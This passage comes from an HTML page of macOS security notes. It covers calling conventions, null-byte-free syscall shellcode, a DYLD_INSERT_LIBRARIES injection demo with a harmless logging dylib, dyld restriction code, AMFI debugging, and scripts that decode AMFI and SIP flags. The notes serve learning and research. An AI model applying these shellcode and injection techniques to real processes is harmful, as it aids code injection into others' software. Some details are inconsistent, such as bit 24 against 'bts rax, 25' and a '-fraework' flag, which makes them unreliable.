      <td><code class="language-plaintext highlighter-rouge">RSI</code></td>
      <td>2nd function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RDX</code></td>
      <td>3rd function argument (and optionally the 2nd return value)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RCX</code></td>
      <td>4th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">R8</code></td>
      <td>5th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">R9</code></td>
      <td>6th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RAX</code></td>
      <td>Function return value</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RIP</code></td>
      <td>Instruction pointer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RSP</code></td>
      <td>Stack pointer (must be 16-byte aligned before calls)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RBP</code></td>
      <td>Frame pointer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RBX</code></td>
      <td>Base pointer (optional use)</td>
    </tr>
  </tbody>
</table>

<p>If a function requires more than six arguments, additional arguments are passed on the stack. It is essential to ensure that the <code class="language-plaintext highlighter-rouge">RSP</code> is properly aligned before making a function call. Despite system calls often working without strict alignment, adhering to this requirement is a good practice to avoid unexpected behavior.</p>

<h3 id="example">Example</h3>

<p>To illustrate how these registers are used in a function call, consider a function <code class="language-plaintext highlighter-rouge">foo</code> that takes three arguments.</p>

<pre><code class="language-asm">; Assume arg1, arg2, and arg3 are already set with appropriate values
mov rax, syscall_number
mov rdi, arg1 ; 1st argument
mov rsi, arg2 ; 2nd argument
mov rdx, arg3 ; 3rd argument
syscall      ; Call the function
</code></pre>

<h2 id="syscalls">Syscalls</h2>

<p>You can find system calls numbers in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> under the <code class="language-plaintext highlighter-rouge">xnu</code> source, You could choose the one you need with the version from the following link:</p>
<ul>
  <li>https://opensource.apple.com/source/xnu/ and https://opensource.apple.com/releases/</li>
</ul>

<h2 id="avoid-null-bytes-in-syscalls">Avoid Null-Bytes in Syscalls</h2>
<p>To find out the bit number to set with the <code class="language-plaintext highlighter-rouge">bts</code> instruction, you need to compare the binary representation of the syscall number (example: <code class="language-plaintext highlighter-rouge">0x3b</code>) with the binary representation of the syscall number plus the class mask (<code class="language-plaintext highlighter-rouge">0x200003b</code>). The <code class="language-plaintext highlighter-rouge">echo</code> and <code class="language-plaintext highlighter-rouge">bc</code> commands can be used to convert hexadecimal numbers to binary, and the <code class="language-plaintext highlighter-rouge">xargs</code>, <code class="language-plaintext highlighter-rouge">printf</code>, and <code class="language-plaintext highlighter-rouge">tr</code> commands format the output to compare the bits easily.</p>

<ol>
  <li><strong>Convert the syscall number (0x3b) to binary</strong>:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"obase=2; ibase=16; 3B"</span> | bc | xargs <span class="nb">printf</span> <span class="s2">"%064s</span><span class="se">\n</span><span class="s2">"</span> | <span class="nb">tr</span> <span class="s1">' '</span> <span class="s1">'0'</span>
</code></pre></div></div>

<p>This command will output the binary representation of <code class="language-plaintext highlighter-rouge">0x3b</code> as a 64-bit number, padded with zeroes.</p>

<ol>
  <li><strong>Convert the syscall number with the class mask (0x200003b) to binary</strong>:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"obase=2; ibase=16; 200003B"</span> | bc | xargs <span class="nb">printf</span> <span class="s2">"%064s</span><span class="se">\n</span><span class="s2">"</span> | <span class="nb">tr</span> <span class="s1">' '</span> <span class="s1">'0'</span>
</code></pre></div></div>

<p>This command will output the binary representation of <code class="language-plaintext highlighter-rouge">0x200003b</code> as a 64-bit number, padded with zeroes.</p>

<ol>
  <li><strong>Compare the Outputs</strong>:</li>
</ol>

<p>Look for the first bit that differs when comparing the binary output from step 1 to the output from step 2. The differing bit’s position (starting from 0 on the right) is the bit you need to set with the <code class="language-plaintext highlighter-rouge">bts</code> instruction to transform the syscall number into the one with the class mask applied.</p>

<p>For instance, if the binary output for <code class="language-plaintext highlighter-rouge">0x3b</code> is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>000...0000111011
</code></pre></div></div>

<p>And the binary output for <code class="language-plaintext highlighter-rouge">0x200003b</code> is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...0010000000000000000000111011
</code></pre></div></div>

<p>The differing bit is the 25th bit from the right (or the 24th index if you start counting from 0), which corresponds to the class mask.</p>

<p>Now, knowing that you need to set the 25th bit, you use the <code class="language-plaintext highlighter-rouge">bts</code> instruction with index 24 to set this bit in the register, as shown in the assembly example previously provided.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Syscall Number <span class="o">(</span>0x3b<span class="o">)</span>:    000...0000111011
Syscall Number <span class="o">(</span>0x200003b<span class="o">)</span>: ...0010000000000000000000111011
                               ^
                               |
                               +--- Bit to <span class="nb">set </span>with <span class="sb">`</span>bts<span class="sb">`</span>
</code></pre></div></div>

<ul>
  <li>Now executring the syscall:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>push  59         ; put 59 on the stack
pop   rax        ; pop it to RAX
bts   rax, 25    ; set the 25th bit to 1
syscall
</code></pre></div></div>

<h1 id="shellcoding-on-arm64">Shellcoding on ARM64</h1>

<h2 id="calling-conventions-and-registers-on-macos-apple-silicon">Calling Conventions and Registers on macOS (Apple Silicon)</h2>

<table>
  <thead>
    <tr>
      <th>Register</th>
      <th>Usage</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X0-X7</code></td>
      <td>Function arguments and return values</td>
      <td>Used to pass and return data from functions</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X8</code></td>
      <td>Indirect return value address</td>
      <td>Often used for memory allocation routines</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X9-X15</code></td>
      <td>Caller-saved temporary registers</td>
      <td>Can be changed by the called function, must be saved by the caller if needed</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X16</code></td>
      <td>Inter-procedural scratch register; syscall number</td>
      <td>Used for passing system call numbers</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X17</code></td>
      <td>Inter-procedural scratch register</td>
      <td>Temporary register, similar to <code class="language-plaintext highlighter-rouge">X16</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X18</code></td>
      <td>Reserved on Apple platforms</td>
      <td>Should not be used in user programs</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X19-X28</code></td>
      <td>Callee-saved registers</td>
      <td>Must be saved and restored by the called function if used</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X29</code></td>
      <td>Frame pointer (FP)</td>
      <td>Points to the base of the current stack frame</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X30</code></td>
      <td>Link register (LR)</td>
      <td>Stores the return address</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SP</code></td>
      <td>Stack pointer</td>
      <td>Must be 16-byte aligned at function calls</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PC</code></td>
      <td>Program counter</td>
      <td>Points to the next instruction to execute</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">XZR</code></td>
      <td>Zero register</td>
      <td>Always reads as zero and ignores writes</td>
    </tr>
  </tbody>
</table>

<p>The ARM64 architecture requires that the stack pointer (<code class="language-plaintext highlighter-rouge">SP</code>) is 16-byte aligned before making a function call, which is crucial for maintaining a reliable call stack and preventing alignment faults. When writing shellcode or functions in assembly, you need to preserve this alignment by adjusting the stack accordingly before function calls.</p>

<pre><code class="language-asm">; Example assembly code for ARM64 macOS system call
mov x16, #SYS_write     ; Load the syscall number for 'write' into X16
mov x0, #1              ; File descriptor 1 (stdout)
mov x1, buffer          ; Pointer to buffer to write from
mov x2, #buffer_size    ; Number of bytes to write
svc 0                   ; Issue the system call instruction
</code></pre>

<h2 id="syscalls-1">Syscalls</h2>

<p>You can find system calls numbers in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> under the <code class="language-plaintext highlighter-rouge">xnu</code> source, You could choose the one you need with the version from the following link:</p>
<ul>
  <li>https://opensource.apple.com/source/xnu/</li>
</ul>

<h2 id="avoid-null-bytes-in-syscalls-1">Avoid Null-Bytes in Syscalls</h2>

<p>Instead of performing the syscall using <code class="language-plaintext highlighter-rouge">svc 0</code>, the argument for for <code class="language-plaintext highlighter-rouge">svc</code> is aribtrary value, So it can be replaced:</p>

<pre><code class="language-asm">mov x16, #SYS_write     ; Load the syscall number for 'write' into X16
mov x0, #1              ; File descriptor 1 (stdout)
mov x1, buffer          ; Pointer to buffer to write from
mov x2, #buffer_size    ; Number of bytes to write
svc #1337                   ; Issue the system call instruction
</code></pre>

<h1 id="dyld_insert_libraries-injection">DYLD_INSERT_LIBRARIES Injection</h1>

<ol>
  <li><strong>Understanding DYLD_INSERT_LIBRARIES</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> is an environment variable similar to <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> on Linux.</li>
      <li>It specifies a list of dynamic libraries to load before the application’s own libraries.</li>
      <li>Libraries specified in <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> are loaded and executed in the context of the target application.</li>
    </ul>
  </li>
  <li><strong>Creating a Dynamic Library</strong>:
    <ul>
      <li>
        <p>Write a C file for the dynamic library that will be injected. Example code:</p>

        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>  <span class="cp">#include</span> <span class="cpf">&lt;syslog.h&gt;</span><span class="cp">
</span>
  <span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span>
  <span class="k">static</span> <span class="kt">void</span> <span class="nf">myconstructor</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] dylib constructor called from %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
    <span class="n">syslog</span><span class="p">(</span><span class="n">LOG_ERR</span><span class="p">,</span> <span class="s">"[+] dylib constructor called from %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
  <span class="p">}</span>
</code></pre></div>        </div>
      </li>
      <li>
        <p>Compile this code into a dynamic library using GCC:</p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-dynamiclib</span> example.c <span class="nt">-o</span> example.dylib
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Preparing the Target Application</strong>:
    <ul>
      <li>
        <p>Create a simple application to test the injection, such as a “Hello World” program:</p>

        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Hello, World!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>        </div>
      </li>
      <li>
        <p>Compile the application:</p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc hello.c <span class="nt">-o</span> hello
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Performing the Injection</strong>:
    <ul>
      <li>
        <p>Set the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable to point to the compiled dylib and run the target application:</p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello
</code></pre></div>        </div>
      </li>
      <li>
        <p>The output should confirm that the dylib was loaded before the application’s main function:</p>

        <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] dylib constructor called from ./hello
Hello, World!
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Monitoring Logs</strong>:
    <ul>
      <li>
        <p>Use macOS’s logging system to confirm the injection and monitor behaviors:</p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>log stream <span class="nt">--style</span> syslog <span class="nt">--predicate</span> <span class="s1">'eventMessage CONTAINS[c] "constructor"'</span>
</code></pre></div>        </div>
      </li>
      <li>
        <p>This command filters and streams log messages containing “constructor”, showing live outputs as the injected dylib executes.</p>
      </li>
    </ul>
  </li>
</ol>

<h2 id="restrictions-of-dyld_insert_libraries">Restrictions of DYLD_INSERT_LIBRARIES</h2>

<p>To mitigate the abuse of the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable, Apple has implemented specific restrictions in the dyld loader.  The key function in the dyld source code that manages the restrictions is <code class="language-plaintext highlighter-rouge">pruneEnvironmentVariables</code>, which is responsible for removing certain environment variables during the load process:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">pruneEnvironmentVariables</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">envp</span><span class="p">[],</span> <span class="k">const</span> <span class="kt">char</span><span class="o">***</span> <span class="n">applep</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// delete all DYLD_* and LD_LIBRARY_PATH environment variables</span>
    <span class="p">...</span>
    <span class="n">dyld</span><span class="o">::</span><span class="n">log</span><span class="p">(</span><span class="s">"dyld: DYLD_ environment variables being ignored because "</span><span class="p">);</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">sRestrictedReason</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="n">restrictedNot</span><span class="p">:</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">restrictedBySetGUid</span><span class="p">:</span>
            <span class="n">dyld</span><span class="o">::</span><span class="n">log</span><span class="p">(</span><span class="s">"main executable (%s) is setuid or setgid</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">sExecPath</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">restrictedBySegment</span><span class="p">:</span>
            <span class="n">dyld</span><span class="o">::</span><span class="n">log</span><span class="p">(</span><span class="s">"main executable (%s) has __RESTRICT/__restrict section</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">sExecPath</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">restrictedByEntitlements</span><span class="p">:</span>
            <span class="n">dyld</span><span class="o">::</span><span class="n">log</span><span class="p">(</span><span class="s">"main executable (%s) is code signed with entitlements</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">sExecPath</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The removal of variables is influenced by:</p>
<ol>
  <li><strong>Setuid/setgid Executables</strong>:
    <ul>
      <li>Environment variables starting with <code class="language-plaintext highlighter-rouge">DYLD_</code> are ignored if the executable has setuid or setgid bits set. This is a security measure to prevent privilege escalation by injecting unauthorized code into a higher-privileged process.</li>
    </ul>
  </li>
  <li><strong>Executables with Restricted Segment</strong>:
    <ul>
      <li>If the executable contains a <code class="language-plaintext highlighter-rouge">__RESTRICT/__restrict</code> segment in the Mach-O file, <code class="language-plaintext highlighter-rouge">DYLD_</code> environment variables are also ignored. This segment signals that the binary opts out of certain dynamic loading features to increase its security stance.</li>
    </ul>
  </li>
  <li><strong>Entitlements and Code Signing</strong>:
    <ul>
      <li>Executables that are code signed with entitlements may have restrictions on environment variables. If the <code class="language-plaintext highlighter-rouge">CS_RESTRICT</code> flag is set in the code signature, it indicates that the process is restricted, leading to the ignoring of <code class="language-plaintext highlighter-rouge">DYLD_</code> variables.</li>
    </ul>
  </li>
</ol>

<h3 id="understanding-processrestricted-function">Understanding <code class="language-plaintext highlighter-rouge">processRestricted</code> Function</h3>

<p>The <code class="language-plaintext highlighter-rouge">processRestricted</code> function is pivotal in setting up the reasons for restrictions:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">bool</span> <span class="nf">processRestricted</span><span class="p">(</span><span class="k">const</span> <span class="n">macho_header</span><span class="o">*</span> <span class="n">mainExecutableMH</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">issetugid</span><span class="p">())</span> <span class="p">{</span>
        <span class="n">sRestrictedReason</span> <span class="o">=</span> <span class="n">restrictedBySetGUid</span><span class="p">;</span>
        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="p">...</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">syscall</span><span class="p">(</span><span class="n">SYS_csops</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">CS_OPS_STATUS</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">flags</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flags</span><span class="p">))</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">CS_RESTRICT</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">sRestrictedReason</span> <span class="o">=</span> <span class="n">restrictedByEntitlements</span><span class="p">;</span>
            <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="p">...</span>
    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>This function checks for <code class="language-plaintext highlighter-rouge">setuid/setgid</code> statuses and whether the executable’s code signature defines it as restricted.</li>
</ul>

<h2 id="debugging-amfi">Debugging AMFI</h2>

<ol>
  <li><strong>Setup</strong>:
    <ul>
      <li>Use <code class="language-plaintext highlighter-rouge">lldb</code> to attach to the process or during the process launch.</li>
      <li>Set a breakpoint on <code class="language-plaintext highlighter-rouge">amfi_check_dyld_policy_self</code> to inspect how <code class="language-plaintext highlighter-rouge">AppleMobileFileIntegrity</code> (<code class="language-plaintext highlighter-rouge">AMFI</code>) influences the loading of dynamic libraries.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>lldb<span class="o">)</span> b amfi_check_dyld_policy_self
Breakpoint 1: where <span class="o">=</span> dyld<span class="sb">`</span>amfi_check_dyld_policy_self, address <span class="o">=</span> 0x100001234
</code></pre></div></div>

<ol>
  <li><strong>Debugging</strong>:
    <ul>
      <li>Continue execution to reach the breakpoint, then step through the code to observe how input flags are processed and output flags are set.</li>
    </ul>
  </li>
  <li><strong>Inspecting AMFI Output Flags</strong>:
    <ul>
      <li>After the syscall, The output flags from <code class="language-plaintext highlighter-rouge">amfi_check_dyld_policy_self</code> (stored in <code class="language-plaintext highlighter-rouge">RCX</code> register) determine what an application can do concerning dynamic library loading. Each flag corresponds to a specific permission:
        <ul>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_AT_PATH</strong>: Allows loading dylibs from arbitrary paths.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS</strong>: Permits printing environment variables.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS</strong>: Allows using path variables.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE</strong>: Permits custom shared cache settings.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS</strong>: Enables fallback paths for library loading.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION</strong>: Allows the insertion of libraries even if they fail some checks.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING</strong>: Permits library interposing.</li>
        </ul>
      </li>
    </ul>
  </li>
</ol>

<h3 id="sip-and-amfi-bits">SIP and AMFI Bits</h3>

<ol>
  <li><strong>System Integrity Protection (SIP) Bits</strong>:
    <ul>
      <li>SIP is controlled using specific configuration flags. Each bit in the configuration represents a different aspect of system protection, such as allowing debugging or kernel extensions. These are set in the csrActiveConfig and checked against desired permissions.</li>
      <li>Example flag: <code class="language-plaintext highlighter-rouge">CSR_ALLOW_TASK_FOR_PID</code> allows debugging processes.</li>
    </ul>
  </li>
  <li><strong>AMFI Policy Output Flags</strong>:
    <ul>
      <li>These flags are set based on the security policy checks performed by AMFI. They influence the loader’s behavior regarding environment variables and dynamic loading.</li>
      <li>To interpret the flags, convert the output integer to binary and match each bit to the flag definitions.</li>
    </ul>
  </li>
</ol>

<h3 id="checking-flags">Checking Flags</h3>

<ul>
  <li>Use shell commands to interpret numeric values into binary for easier flag analysis:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"obase=2; ibase=16; </span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'%X'</span> <span class="nv">$FLAGS</span><span class="si">)</span><span class="s2">"</span> | bc
</code></pre></div></div>

<h3 id="script-to-check-amfi-flags">Script to check AMFI flags</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;

typedef NS_OPTIONS(NSUInteger, amfi_dyld_policy_output_flag_set) {
    AMFI_DYLD_OUTPUT_ALLOW_AT_PATH               = (1 &lt;&lt; 0),
    AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS             = (1 &lt;&lt; 1),
    AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE   = (1 &lt;&lt; 2),
    AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS        = (1 &lt;&lt; 3),
    AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS            = (1 &lt;&lt; 4),
    AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION = (1 &lt;&lt; 5),
    AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING   = (1 &lt;&lt; 6),
};

void checkFlags(NSUInteger flags) {
    NSString *greenStart = @"\033[32m"; // Green start
    NSString *redStart = @"\033[31m";   // Red start
    NSString *colorEnd = @"\033[0m";    // Reset to default color
    
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_AT_PATH (gLinkContext.allowAtPaths): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_AT_PATH) ? greenStart : redStart, (flags &amp; 
AMFI_DYLD_OUTPUT_ALLOW_AT_PATH) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS (gLinkContext.allowEnvVarsPath): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS) ? greenStart : redStart, (flags 
&amp; AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE (gLinkContext.allowEnvVarsSharedCache): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE) ? 
greenStart : redStart, (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS (gLinkContext.allowClassicFallbackPaths): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS) ? greenStart 
: redStart, (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS (gLinkContext.allowEnvVarsPrint): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS) ? greenStart : redStart, 
(flags &amp; AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION (gLinkContext.allowInsertFailures): %@%@", (flags &amp; 
AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION) ? greenStart : redStart, (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION) ? @"Set" : @"Not Set", 
colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING (gLinkContext.allowInterposing): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING) ? 
greenStart : redStart, (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING) ? @"Set" : @"Not Set", colorEnd);
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc &lt; 2) {
            NSLog(@"Usage: %@ &lt;hex value&gt;", [NSString stringWithUTF8String:argv[0]]);
            return 1; // Exit if no hex value is provided
        }

        NSString *hexArgument = [NSString stringWithUTF8String:argv[1]];
        NSUInteger hexValue = strtoul([hexArgument UTF8String], NULL, 16);

        checkFlags(hexValue);
    }
    return 0;
}

</code></pre>

<ul>
  <li>Compile and run:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Compile
gcc <span class="nt">-fraework</span> Foundation checkDYLDFlags.m <span class="nt">-o</span> checkDYLDFlags

Run
./checkDYLDFlags 0X5d <span class="c"># replace with the output value</span>
</code></pre></div></div>

<h3 id="script-to-check-sipcsr-flags">Script to check SIP(CSR) flags</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;

// Define the CSR flags
#define CSR_ALLOW_UNTRUSTED_KEXTS               (1 &lt;&lt; 0)
#define CSR_ALLOW_UNRESTRICTED_FS               (1 &lt;&lt; 1)
#define CSR_ALLOW_TASK_FOR_PID                  (1 &lt;&lt; 2)
#define CSR_ALLOW_KERNEL_DEBUGGER               (1 &lt;&lt; 3)
#define CSR_ALLOW_APPLE_INTERNAL                (1 &lt;&lt; 4)
#define CSR_ALLOW_UNRESTRICTED_DTRACE           (1 &lt;&lt; 5)
#define CSR_ALLOW_UNRESTRICTED_NVRAM            (1 &lt;&lt; 6)
#define CSR_ALLOW_DEVICE_CONFIGURATION          (1 &lt;&lt; 7)
#define CSR_ALLOW_ANY_RECOVERY_OS               (1 &lt;&lt; 8)
#define CSR_ALLOW_UNAPPROVED_KEXTS              (1 &lt;&lt; 9)
#define CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE    (1 &lt;&lt; 10)
#define CSR_ALLOW_UNAUTHENTICATED_ROOT          (1 &lt;&lt; 11)

// Function to check and print the status of CSR flags
void checkCSRFlags(uint32_t flags) {
    NSString *greenStart = @"\033[32m"; // Green start
    NSString *redStart = @"\033[31m";   // Red start
    NSString *colorEnd = @"\033[0m";    // Reset to default color
    
    // Array of flag names for defined and undefined flags
    NSString *flagNames[] = {
        @"CSR_ALLOW_UNTRUSTED_KEXTS",
        @"CSR_ALLOW_UNRESTRICTED_FS",
        @"CSR_ALLOW_TASK_FOR_PID",
        @"CSR_ALLOW_KERNEL_DEBUGGER",
        @"CSR_ALLOW_APPLE_INTERNAL",
        @"CSR_ALLOW_UNRESTRICTED_DTRACE",
        @"CSR_ALLOW_UNRESTRICTED_NVRAM",
        @"CSR_ALLOW_DEVICE_CONFIGURATION",
        @"CSR_ALLOW_ANY_RECOVERY_OS",
        @"CSR_ALLOW_UNAPPROVED_KEXTS",
        @"CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE",
        @"CSR_ALLOW_UNAUTHENTICATED_ROOT",
        @"UNDEFINED_FLAG_12",
        @"UNDEFINED_FLAG_13",
        @"UNDEFINED_FLAG_14",
        @"UNDEFINED_FLAG_15",
        @"UNDEFINED_FLAG_16",
        @"UNDEFINED_FLAG_17",
        @"UNDEFINED_FLAG_18",
        @"UNDEFINED_FLAG_19",
        @"UNDEFINED_FLAG_20",
        @"UNDEFINED_FLAG_21",
        @"UNDEFINED_FLAG_22",
        @"UNDEFINED_FLAG_23",
        @"UNDEFINED_FLAG_24",
        @"UNDEFINED_FLAG_25",
        @"UNDEFINED_FLAG_26",
        @"UNDEFINED_FLAG_27",
        @"UNDEFINED_FLAG_28",
        @"UNDEFINED_FLAG_29",
        @"UNDEFINED_FLAG_30",
        @"UNDEFINED_FLAG_31"
    };

    // Check each flag and print its status
    for (int i = 0; i &lt; 32; i++) {
